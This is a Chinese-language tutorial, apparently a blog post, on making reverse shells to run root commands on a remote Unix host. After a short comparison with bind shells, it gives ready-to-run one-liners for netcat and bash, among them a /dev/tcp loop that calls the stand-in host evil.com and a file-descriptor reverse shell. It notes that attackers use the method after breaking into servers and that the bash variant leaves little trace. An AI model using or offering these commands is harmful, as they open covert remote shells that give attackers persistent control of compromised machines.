如何創(chuàng)建反向Shell來(lái)執(zhí)行遠(yuǎn)程Root命令
反向shell(Reverse shell)是一種往遠(yuǎn)程機(jī)器發(fā)送shell命令的技術(shù),當(dāng)遠(yuǎn)程機(jī)器處在防火墻等其它東西后面時(shí),這種技術(shù)會(huì)變得非常有用。你也許會(huì)說(shuō),“一個(gè)普通的shell或簡(jiǎn)單的SSH通道不是也能實(shí)現(xiàn)這些嗎?”不,無(wú)法實(shí)現(xiàn)。在網(wǎng)上,我看到很多人對(duì)普通shell和反向shell之間的區(qū)別分不清。在我們開(kāi)始下面的內(nèi)容前,先弄清楚這些概念。
反向Shell(Reverse Shell)
反向shell的工作方式是遠(yuǎn)程計(jì)算機(jī)將自己的shell發(fā)送給特定的用戶,而不是將shell綁定到一個(gè)端口上。后者在很多環(huán)境中是無(wú)法訪問(wèn)的。這樣,你就可以對(duì)遠(yuǎn)程服務(wù)器執(zhí)行root命令。
Bind Shell
bind shell是用戶用BSAH,將shell綁定到一個(gè)本地端口上,這樣任何人都可以在本地網(wǎng)絡(luò)中發(fā)送命令。
反向shell經(jīng)常會(huì)被黑客用來(lái)做一些不法行為,例如入侵了一臺(tái)服務(wù)器后,他們會(huì)設(shè)置一個(gè)反向shell,將來(lái)他們就能通過(guò)這個(gè)shell輕松的訪問(wèn)這臺(tái)遠(yuǎn)程計(jì)算機(jī)。我相信你是不會(huì)用它來(lái)做這種事情的。
環(huán)境要求
- 遠(yuǎn)程Unix主機(jī)
- 安裝了netcat
使用NetCat實(shí)現(xiàn)反向shell交互
當(dāng)通過(guò)shell登錄到遠(yuǎn)程主機(jī)后,下面的指令能輕松的將shell發(fā)送到你的機(jī)器上:
- nc -c /bin/sh <你的IP> <任何一個(gè)未封鎖的端口>
你甚至能通過(guò)netcat來(lái)pipe BASH。
- /bin/sh | nc <你的IP> <任何未封鎖的端口>
然后監(jiān)聽(tīng)這個(gè)shell:
- nc -l -p <相同的端口> -vvv
通過(guò)BASH實(shí)現(xiàn)反向shell
這種技術(shù)是當(dāng)遠(yuǎn)程機(jī)器上沒(méi)有netcat或你想做一些非自然的事情而不想留下太重的痕跡時(shí)使用。
監(jiān)聽(tīng)shell:
- nc -l -p <任何未封鎖的端口> -vvv
先創(chuàng)建一個(gè)新的描述符,分配到一個(gè)網(wǎng)絡(luò)節(jié)點(diǎn)。這樣我們可以對(duì)這個(gè)描述符進(jìn)行讀寫。
- exec 5<>/dev/tcp/evil.com/<相同的端口> $ cat <&5 | while read line; do $line 2>&5 >&5; done
或另外一個(gè)反向shell:
- 0<&196;exec 196<>/dev/tcp/<你的IP>/<相同的端口>; sh <&196 >&196 2>&196
這樣,你就可以輕松是通過(guò)netcat發(fā)送任何命令了。